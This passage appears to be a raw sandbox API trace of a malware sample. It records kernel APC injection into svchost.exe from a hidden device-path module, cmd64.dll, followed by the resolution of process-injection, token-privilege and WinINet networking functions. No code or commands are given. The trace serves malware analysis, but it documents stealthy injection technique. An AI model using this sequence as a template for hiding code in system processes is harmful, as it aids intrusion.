(Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\kernel32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 1 [0098.261] IoIs32bitProcess (Irp=0x0) returned 0 [0098.261] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x58) returned 0xfffffa80038e2c50 [0098.261] KeInitializeApc (Apc=0xfffffa80038e2c50, Thread=0xfffffa8002a3c060, TargetEnvironment=0x0, KernelRoutine=0xfffffa80027cb10c, RundownRoutine=0x0, NormalRoutine=0x0, Mode=0xffff4a0800000000, Context=0x0) [0098.261] KeInsertQueueApc (Apc=0xfffffa80038e2c50, SystemArgument1=0x0, SystemArgument2=0x0, PriorityBoost=0x0) returned 1 [0098.261] ExFreePoolWithTag (P=0xfffffa80038e2c50, Tag=0x0) [0098.261] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x478) returned 0xfffffa80038f57b0 [0098.261] IoGetCurrentProcess () returned 0xfffffa80038ddb30 [0098.261] PsGetCurrentProcessId () returned 0x5b0 [0098.261] IoIs32bitProcess (Irp=0x0) returned 0 [0098.261] KeInitializeEvent (in: Event=0xfffffa80038f57f0, Type=0x0, State=0 | out: Event=0xfffffa80038f57f0) [0098.261] ExQueueWorkItem (in: WorkItem=0xfffffa80038f57b0*(List.Flink=0x0, List.Blink=0x0, WorkerRoutine=0xfffffa80027cafd8, Parameter=0xfffffa80038f57b0), QueueType=0x1 | out: WorkItem=0xfffffa80038f57b0*(List.Flink=0x0, List.Blink=0x0, WorkerRoutine=0xfffffa80027cafd8, Parameter=0xfffffa80038f57b0)) [0098.283] KeWaitForMutexObject () returned 0x0 [0098.283] ExFreePoolWithTag (P=0xfffffa80038f57b0, Tag=0x0) [0098.283] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\KernelBase.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0098.288] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\msvcrt.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0098.289] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\sechost.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0098.290] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\rpcrt4.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0098.293] LoadLibraryExA (lpLibFileName="KERNEL32", hFile=0x0, dwFlags=0x0) returned 0x77a30000 [0098.300] GetProcAddress (hModule=0x77a30000, lpProcName="GetModuleHandleA") returned 0x77a465e0 [0098.300] GetProcAddress (hModule=0x77a30000, lpProcName="GetProcAddress") returned 0x77a53690 [0098.300] LoadLibraryExA (lpLibFileName="ntdll.dll", hFile=0x0, dwFlags=0x0) returned 0x77c50000 [0098.300] GetProcAddress (hModule=0x77c50000, lpProcName="atol") returned 0x77c565ec [0098.300] LoadLibraryExA (lpLibFileName="WININET.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefef80000 [0098.301] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wininet.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0098.301] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\shlwapi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0098.301] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\gdi32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0098.302] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\user32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0098.302] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\lpk.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0098.303] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\usp10.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0098.303] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\advapi32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0098.304] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\urlmon.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0098.305] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\ole32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0098.305] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\oleaut32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0098.306] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\crypt32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0098.306] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\msasn1.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0098.306] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\iertutil.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0098.308] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\imm32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0098.309] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\msctf.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0098.562] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetOpenA") returned 0x7fefef99098 [0098.562] LoadLibraryExA (lpLibFileName="SHLWAPI.dll", hFile=0x0, dwFlags=0x0) returned 0x7feff4f0000 [0098.562] GetProcAddress (hModule=0x7feff4f0000, lpProcName="StrStrIA") returned 0x7feff4f5a1c [0098.562] LoadLibraryExA (lpLibFileName="imagehlp.dll", hFile=0x0, dwFlags=0x0) returned 0x7feffb50000 [0098.562] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\imagehlp.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0098.564] GetProcAddress (hModule=0x7feffb50000, lpProcName="MapFileAndCheckSumA") returned 0x7feffb556ec [0098.564] LoadLibraryExA (lpLibFileName="PSAPI.DLL", hFile=0x0, dwFlags=0x0) returned 0x77e20000 [0098.564] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\psapi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0098.565] GetProcAddress (hModule=0x77e20000, lpProcName="GetModuleFileNameExA") returned 0x77e21268 [0098.565] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefed20000 [0098.565] GetProcAddress (hModule=0x7fefed20000, lpProcName="SetSecurityInfo") returned 0x7fefed28420 [0098.565] LoadLibraryExA (lpLibFileName="USER32.dll", hFile=0x0, dwFlags=0x0) returned 0x77b50000 [0098.565] GetProcAddress (hModule=0x77b50000, lpProcName="ExitWindowsEx") returned 0x77ba14e0 [0098.565] LoadLibraryExA (lpLibFileName="ole32.dll", hFile=0x0, dwFlags=0x0) returned 0x7feff940000 [0098.565] GetProcAddress (hModule=0x7feff940000, lpProcName="CoCreateInstance") returned 0x7feff967490 [0098.567] GetModuleHandleA (lpModuleName="KERNEL32") returned 0x77a30000 [0098.567] GetProcAddress (hModule=0x77a30000, lpProcName="VirtualProtect") returned 0x77a32ef0 [0098.567] VirtualProtect (in: lpAddress=0x1016f, dwSize=0x78, flNewProtect=0x4, lpflOldProtect=0x14f408 | out: lpflOldProtect=0x14f408*=0x40) returned 1 [0098.567] VirtualProtect (in: lpAddress=0x1016f, dwSize=0x78, flNewProtect=0x40, lpflOldProtect=0x14f408 | out: lpflOldProtect=0x14f408*=0x4) returned 1 [0098.567] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77c50000 [0098.567] GetProcAddress (hModule=0x77c50000, lpProcName="_strlwr") returned 0x77cd8fb0 [0098.567] GetProcAddress (hModule=0x77c50000, lpProcName="RtlTimeToSecondsSince1970") returned 0x77c67c30 [0098.567] GetProcAddress (hModule=0x77c50000, lpProcName="RtlRandom") returned 0x77cf4a40 [0098.567] GetProcAddress (hModule=0x77c50000, lpProcName="RtlImageDirectoryEntryToData") returned 0x77c80950 [0098.567] GetProcAddress (hModule=0x77c50000, lpProcName="RtlImageNtHeader") returned 0x77c7ecb0 [0098.567] GetProcAddress (hModule=0x77c50000, lpProcName="ZwAllocateVirtualMemory") returned 0x77ca1490 [0098.568] GetProcAddress (hModule=0x77c50000, lpProcName="ZwFreeVirtualMemory") returned 0x77ca14f0 [0098.568] GetProcAddress (hModule=0x77c50000, lpProcName="sscanf") returned 0x77cda974 [0098.568] GetProcAddress (hModule=0x77c50000, lpProcName="_snwprintf") returned 0x77cd8b8c [0098.568] GetProcAddress (hModule=0x77c50000, lpProcName="_stricmp") returned 0x77c8c5ec [0098.568] GetProcAddress (hModule=0x77c50000, lpProcName="RtlEqualUnicodeString") returned 0x77ca59a0 [0098.568] GetProcAddress (hModule=0x77c50000, lpProcName="ZwQuerySystemInformation") returned 0x77ca1670 [0098.568] GetProcAddress (hModule=0x77c50000, lpProcName="ZwSetInformationToken") returned 0x77ca2920 [0098.568] GetProcAddress (hModule=0x77c50000, lpProcName="ZwDuplicateToken") returned 0x77ca1730 [0098.568] GetProcAddress (hModule=0x77c50000, lpProcName="ZwClose") returned 0x77ca1400 [0098.568] GetProcAddress (hModule=0x77c50000, lpProcName="ZwAdjustPrivilegesToken") returned 0x77ca1720 [0098.568] GetProcAddress (hModule=0x77c50000, lpProcName="ZwOpenProcessToken") returned 0x77ca22d0 [0098.568] GetProcAddress (hModule=0x77c50000, lpProcName="strstr") returned 0x77cdac00 [0098.568] GetProcAddress (hModule=0x77c50000, lpProcName="atol") returned 0x77c565ec [0098.568] GetProcAddress (hModule=0x77c50000, lpProcName="sprintf") returned 0x77cda738 [0098.568] GetProcAddress (hModule=0x77c50000, lpProcName="strncat") returned 0x77c9fc40 [0098.568] GetProcAddress (hModule=0x77c50000, lpProcName="strchr") returned 0x77c7c900 [0098.568] GetProcAddress (hModule=0x77c50000, lpProcName="strrchr") returned 0x77cdab0c [0098.568] GetProcAddress (hModule=0x77c50000, lpProcName="ispunct") returned 0x77cd8620 [0098.569] GetProcAddress (hModule=0x77c50000, lpProcName="isalnum") returned 0x77cd8644 [0098.569] GetProcAddress (hModule=0x77c50000, lpProcName="strncpy") returned 0x77c9fec0 [0098.569] GetProcAddress (hModule=0x77c50000, lpProcName="RtlComputeCrc32") returned 0x77c5c7b0 [0098.569] GetProcAddress (hModule=0x77c50000, lpProcName="_snprintf") returned 0x77cd8ae0 [0098.569] GetProcAddress (hModule=0x77c50000, lpProcName="memcmp") returned 0x77c9ea60 [0098.569] GetProcAddress (hModule=0x77c50000, lpProcName="__chkstk") returned 0x77ca0dd0 [0098.569] GetProcAddress (hModule=0x77c50000, lpProcName="strncmp") returned 0x77c9fdf0 [0098.569] GetProcAddress (hModule=0x77c50000, lpProcName="atoi") returned 0x77c565e4 [0098.569] GetProcAddress (hModule=0x77c50000, lpProcName="memset") returned 0x77ca2ed0 [0098.569] GetProcAddress (hModule=0x77c50000, lpProcName="memcpy") returned 0x77c9e6d0 [0098.569] GetModuleHandleA (lpModuleName="WININET.dll") returned 0x7fefef80000 [0098.569] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetReadFile") returned 0x7fefef93914 [0098.569] GetProcAddress (hModule=0x7fefef80000, lpProcName="HttpQueryInfoW") returned 0x7fefefb4600 [0098.569] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetSetOptionW") returned 0x7fefef8ff20 [0098.569] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetQueryOptionW") returned 0x7fefefa1ab8 [0098.569] GetProcAddress (hModule=0x7fefef80000, lpProcName="HttpSendRequestA") returned 0x7fefefff600 [0098.569] GetProcAddress (hModule=0x7fefef80000, lpProcName="HttpOpenRequestA") returned 0x7fefefb3910 [0098.570] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetConnectA") returned 0x7fefefb3130 [0098.570] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetOpenA") returned 0x7fefef99098 [0098.570] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetCloseHandle") returned 0x7fefef95594 [0098.570] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetCrackUrlA") returned 0x7fefefe0b4c [0098.570] GetModuleHandleA (lpModuleName="SHLWAPI.dll") returned 0x7feff4f0000 [0098.570] GetProcAddress (hModule=0x7feff4f0000, lpProcName="StrStrIA") returned 0x7feff4f5a1c [0098.570] GetProcAddress (hModule=0x7feff4f0000, lpProcName="SHGetValueA") returned 0x7feff4f4e50 [0098.570] GetProcAddress (hModule=0x7feff4f0000, lpProcName="PathFindFileNameA") returned 0x7feff4f86c4 [0098.570] GetProcAddress (hModule=0x7feff4f0000, lpProcName="PathRemoveBackslashA") returned 0x7feff519e70 [0098.570] GetProcAddress (hModule=0x7feff4f0000, lpProcName="PathFindExtensionA") returned 0x7feff51b358 [0098.570] GetProcAddress (hModule=0x7feff4f0000, lpProcName="PathFileExistsA") returned 0x7feff51b4d4 [0098.570] GetProcAddress (hModule=0x7feff4f0000, lpProcName="PathAppendA") returned 0x7feff4f5710 [0098.570] GetProcAddress (hModule=0x7feff4f0000, lpProcName="PathRemoveFileSpecA") returned 0x7feff51bbb4 [0098.570] GetModuleHandleA (lpModuleName="imagehlp.dll") returned 0x7feffb50000 [0098.570] GetProcAddress (hModule=0x7feffb50000, lpProcName="MapFileAndCheckSumA") returned 0x7feffb556ec [0098.570] GetModuleHandleA (lpModuleName="PSAPI.DLL") returned 0x77e20000 [0098.570] GetProcAddress (hModule=0x77e20000, lpProcName="GetModuleFileNameExA") returned 0x77e21268 [0098.571] GetModuleHandleA (lpModuleName="KERNEL32.dll") returned 0x77a30000 [0098.571] GetProcAddress (hModule=0x77a30000, lpProcName="CreateFileA") returned 0x77a531f0 [0098.571] GetProcAddress (hModule=0x77a30000, lpProcName="SystemTimeToFileTime") returned 0x77a53560 [0098.571] GetProcAddress (hModule=0x77a30000, lpProcName="GetVersionExA") returned 0x77a470c0 [0098.571] GetProcAddress (hModule=0x77a30000, lpProcName="GetLocaleInfoA") returned 0x77a40210 [0098.571] GetProcAddress (hModule=0x77a30000, lpProcName="GetWindowsDirectoryA") returned 0x77a7bfb0 [0098.571] GetProcAddress (hModule=0x77a30000, lpProcName="GetTickCount") returned 0x77a52b00 [0098.571] GetProcAddress (hModule=0x77a30000, lpProcName="GetCommandLineA") returned 0x77a51e70 [0098.571] GetProcAddress (hModule=0x77a30000, lpProcName="SetUnhandledExceptionFilter") returned 0x77a49b70 [0098.571] GetProcAddress (hModule=0x77a30000, lpProcName="LocalFree") returned 0x77a447a0 [0098.571] GetProcAddress (hModule=0x77a30000, lpProcName="SetWaitableTimer") returned 0x77a38890 [0098.571] GetProcAddress (hModule=0x77a30000, lpProcName="CreateWaitableTimerA") returned 0x77a90da0 [0098.571] GetProcAddress (hModule=0x77a30000, lpProcName="CreateThread") returned 0x77a46580 [0098.571] GetProcAddress (hModule=0x77a30000, lpProcName="CopyFileA") returned 0x77ac5620 [0098.571] GetProcAddress (hModule=0x77a30000, lpProcName="UnmapViewOfFile") returned 0x77a53580 [0098.571] GetProcAddress (hModule=0x77a30000, lpProcName="MapViewOfFile") returned 0x77a3e390 [0098.571] GetProcAddress (hModule=0x77a30000, lpProcName="CreateFileMappingA") returned 0x77a3ead0 [0098.572] GetProcAddress (hModule=0x77a30000, lpProcName="GetModuleHandleA") returned 0x77a465e0 [0098.572] GetProcAddress (hModule=0x77a30000, lpProcName="RemoveDirectoryA") returned 0x77a7bdb0 [0098.572] GetProcAddress (hModule=0x77a30000, lpProcName="DeleteFileA") returned 0x77a414e0 [0098.572] GetProcAddress (hModule=0x77a30000, lpProcName="CreateDirectoryA") returned 0x77a7c5b0 [0098.572] GetProcAddress (hModule=0x77a30000, lpProcName="GetTempPathA") returned 0x77a92060 [0098.572] GetProcAddress (hModule=0x77a30000, lpProcName="ExitProcess") returned 0x77c740f0 [0098.572] GetProcAddress (hModule=0x77a30000, lpProcName="GetSystemTimeAsFileTime") returned 0x77a43f40 [0098.572] GetProcAddress (hModule=0x77a30000, lpProcName="LoadLibraryA") returned 0x77a47070 [0098.572] GetProcAddress (hModule=0x77a30000, lpProcName="OpenProcess") returned 0x77a4cad0 [0098.572] GetProcAddress (hModule=0x77a30000, lpProcName="OpenMutexA") returned 0x77a32ce0 [0098.572] GetProcAddress (hModule=0x77a30000, lpProcName="GetSystemInfo") returned 0x77a46f70 [0098.572] GetProcAddress (hModule=0x77a30000, lpProcName="QueueUserWorkItem") returned 0x77a41370 [0098.572] GetProcAddress (hModule=0x77a30000, lpProcName="Sleep") returned 0x77a52b70 [0098.572] GetProcAddress (hModule=0x77a30000, lpProcName="TerminateProcess") returned 0x77a7bca0 [0098.572] GetProcAddress (hModule=0x77a30000, lpProcName="ResumeThread") returned 0x77a413a0 [0098.572] GetProcAddress (hModule=0x77a30000, lpProcName="Wow64SetThreadContext") returned 0x77a7af70 [0098.572] GetProcAddress (hModule=0x77a30000, lpProcName="Wow64GetThreadContext") returned 0x77a7afa0 [0098.572] GetProcAddress (hModule=0x77a30000, lpProcName="WriteProcessMemory") returned 0x77a7bad0 [0098.573] GetProcAddress (hModule=0x77a30000, lpProcName="VirtualAllocEx") returned 0x77a7bbd0 [0098.573] GetProcAddress (hModule=0x77a30000, lpProcName="CreateProcessA") returned 0x77ac8840 [0098.573] GetProcAddress (hModule=0x77a30000, lpProcName="GetModuleFileNameA") returned 0x77a464a0 [0098.573] GetProcAddress (hModule=0x77a30000, lpProcName="LeaveCriticalSection") returned 0x77ca3000 [0098.573] GetProcAddress (hModule=0x77a30000, lpProcName="EnterCriticalSection") returned 0x77ca2fc0 [0098.573] GetProcAddress (hModule=0x77a30000, lpProcName="HeapCreate") returned 0x77a470e0 [0098.573] GetProcAddress (hModule=0x77a30000, lpProcName="HeapDestroy") returned 0x77a41490 [0098.573] GetProcAddress (hModule=0x77a30000, lpProcName="HeapAlloc") returned 0x77ca33a0 [0098.573] GetProcAddress (hModule=0x77a30000, lpProcName="HeapReAlloc") returned 0x77c83f20 [0098.573] GetProcAddress (hModule=0x77a30000, lpProcName="HeapFree") returned 0x77a53070 [0098.573] GetProcAddress (hModule=0x77a30000, lpProcName="VirtualAlloc") returned 0x77a467a0 [0098.573] GetProcAddress (hModule=0x77a30000, lpProcName="VirtualFree") returned 0x77a41260 [0098.573] GetProcAddress (hModule=0x77a30000, lpProcName="GetProcAddress") returned 0x77a53690 [0098.573] GetProcAddress (hModule=0x77a30000, lpProcName="CreateMutexA") returned 0x77a47210 [0098.573] GetProcAddress (hModule=0x77a30000, lpProcName="GetLastError") returned 0x77a52dd0 [0098.573] GetProcAddress (hModule=0x77a30000, lpProcName="WaitForSingleObject") returned 0x77a52b20 [0098.573] GetProcAddress (hModule=0x77a30000, lpProcName="ReleaseMutex") returned 0x77a52b90 [0098.574] GetProcAddress (hModule=0x77a30000, lpProcName="WritePrivateProfileStringA") returned 0x77ab16b0 [0098.574] GetProcAddress (hModule=0x77a30000, lpProcName="GetPrivateProfileStringA") returned 0x77ab1720 [0098.574] GetProcAddress (hModule=0x77a30000, lpProcName="GetPrivateProfileIntA") returned 0x77ab18b0 [0098.574] GetProcAddress (hModule=0x77a30000, lpProcName="GetPrivateProfileSectionA") returned 0x77ab1600 [0098.574] GetProcAddress (hModule=0x77a30000, lpProcName="InitializeCriticalSection") returned 0x77c78100 [0098.574] GetProcAddress (hModule=0x77a30000, lpProcName="GetFileSize") returned 0x77a3f9d0 [0098.574] GetProcAddress (hModule=0x77a30000, lpProcName="CloseHandle") returned 0x77a52f80 [0098.574] GetProcAddress (hModule=0x77a30000, lpProcName="ReadFile") returned 0x77a41500 [0098.574] GetProcAddress (hModule=0x77a30000, lpProcName="WriteFile") returned 0x77a535a0 [0098.574] GetProcAddress (hModule=0x77a30000, lpProcName="SetEndOfFile") returned 0x77a7bd70 [0098.574] GetProcAddress (hModule=0x77a30000, lpProcName="FlushFileBuffers") returned 0x77a369f0 [0098.574] GetModuleHandleA (lpModuleName="ADVAPI32.dll") returned 0x7fefed20000 [0098.574] GetProcAddress (hModule=0x7fefed20000, lpProcName="ConvertStringSecurityDescriptorToSecurityDescriptorW") returned 0x7fefed32040 [0098.574] GetProcAddress (hModule=0x7fefed20000, lpProcName="SetSecurityInfo") returned 0x7fefed28420 [0098.574] GetProcAddress (hModule=0x7fefed20000, lpProcName="GetSecurityDescriptorSacl") returned 0x7fefed31e00 [0098.574] GetProcAddress (hModule=0x7fefed20000, lpProcName="CreateProcessAsUserA") returned 0x7fefed6a1a0 [0098.574] GetProcAddress (hModule=0x7fefed20000, lpProcName="AdjustTokenPrivileges") returned 0x7fefed3b9b0 [0098.575] GetProcAddress (hModule=0x7fefed20000, lpProcName="LookupPrivilegeValueA") returned 0x7fefed21a00 [0098.575] GetProcAddress (hModule=0x7fefed20000, lpProcName="OpenProcessToken") returned 0x7fefed3bd70 [0098.575] GetModuleHandleA (lpModuleName="USER32.dll") returned 0x77b50000 [0098.575] GetProcAddress (hModule=0x77b50000, lpProcName="ExitWindowsEx") returned 0x77ba14e0 [0098.575] GetModuleHandleA (lpModuleName="ole32.dll") returned 0x7feff940000 [0098.575] GetProcAddress (hModule=0x7feff940000, lpProcName="CoCreateInstance") returned 0x7feff967490 [0098.576] PathRemoveFileSpecA (in: pszPath="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cmd64.dll" | out: pszPath="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c") returned 1 [0098.576] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x1e310, nSize=0x3ff | out: lpFilename="C:\\Windows\\system32\\svchost.exe") returned 0x1f [0098.576] PathFindFileNameA (pszPath="C:\\Windows\\system32\\svchost.exe") returned="svchost.exe" [0098.576] GetCommandLineA () returned="C:\\Windows\\system32\\svchost.exe -k LocalServiceNoNetwork" [0098.576] _strcmpi (_Str1="svchost.exe", _Str2="svchost.exe") returned 0 [0098.576] StrStrIA (lpFirst="C:\\Windows\\system32\\svchost.exe -k LocalServiceNoNetwork", lpSrch="netsvcs") returned 0x0 [0098.692] StrStrIA (lpFirst="svchost.exe", lpSrch="wermgr.exe") returned 0x0 [0098.692] HeapDestroy (hHeap=0xd20000) returned 1 [0098.696] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\cryptbase.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 Thread: id = 358 os_tid = 0x5c8 Thread: id = 365 os_tid = 0x5e4 [0109.086] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\pnpts.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 Thread: id = 368 os_tid = 0x5f0 [0108.831] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\diagperf.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 Thread: id = 369 os_tid = 0x5f4 [0099.501] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\BFE.DLL", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0099.507] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\authz.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0099.507] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\slc.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0099.625] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\sspicli.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0100.282] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\pcwum.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0100.289] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\RpcRtRemote.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 Thread: id = 372 os_tid = 0x604 Thread: id = 381 os_tid = 0x620 Thread: id = 384 os_tid = 0x62c [0100.790] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\MPSSVC.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0100.794] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\FirewallAPI.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0100.794] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\version.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0100.797] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\FWPUCLNT.DLL", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0100.797] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\nsi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0100.797] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\cfgmgr32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 Thread: id = 386 os_tid = 0x634 Thread: id = 387 os_tid = 0x638 [0101.854] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\secur32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0101.855] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\cryptsp.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0101.858] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\credssp.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0102.383] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\userenv.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0102.383] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\profapi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0102.384] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\gpapi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0102.713] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\ws2_32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0102.717] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\IPHLPAPI.DLL", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0102.717] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\winnsi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0102.719] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\dhcpcsvc6.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0102.757] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\dhcpcsvc.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0102.777] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\mswsock.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0102.778] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\WSHTCPIP.DLL", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0102.779] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wship6.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0103.565] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wfapigp.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0103.682] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\mscms.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0103.689] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\mscms.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0103.693] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\pcasvc.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0103.696] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\pcasvc.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0103.697] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\pcasvc.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0103.698] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\pcasvc.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0103.702] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\snmptrap.exe", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0103.705] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\snmptrap.exe", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0103.707] 